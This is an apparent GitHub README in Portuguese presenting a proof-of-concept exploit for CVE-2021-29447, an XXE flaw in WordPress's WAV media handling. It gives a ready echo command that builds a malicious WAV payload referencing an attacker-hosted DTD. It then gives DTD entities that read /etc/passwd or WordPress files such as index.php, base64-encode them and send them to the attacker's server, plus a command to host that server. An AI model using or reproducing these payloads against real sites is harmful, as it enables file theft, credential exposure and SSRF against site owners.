assassinukg/cve-2021-29447Exploit para CVE-2021-29447 que permite divulgação arbitrária de arquivos e SSRF no WordPress por meio de um arquivo WAV manipulado, com geração de payload PoC e DTD.
Divulgação Arbitrária de Arquivos: o conteúdo de qualquer arquivo no sistema de arquivos do host poderia ser recuperado, por exemplo, wp-config.php que contém dados sensíveis como credenciais de banco de dados. Server-Side Request Forgery (SSRF): requisições HTTP poderiam ser feitas em nome da instalação do WordPress. Dependendo do ambiente, isso pode ter um sério impacto. Explorando a vulnerabilidade
Um site WordPress afetado por esta vulnerabilidade foi identificado no processo de enumeração com a ajuda da ferramenta wpscan.
É muito fácil, no seu console bash
nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Na sua máquina atacante, crie um dtd com o código a ser executado no servidor web.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Nota: para ler arquivos do WordPress use a sintaxe "../WP-FILE.php"
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Hospede um servidor python no diretório dos arquivos (python3 -m http.server 8081)
https://github.com/motikan2010/CVE-2021-29447 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5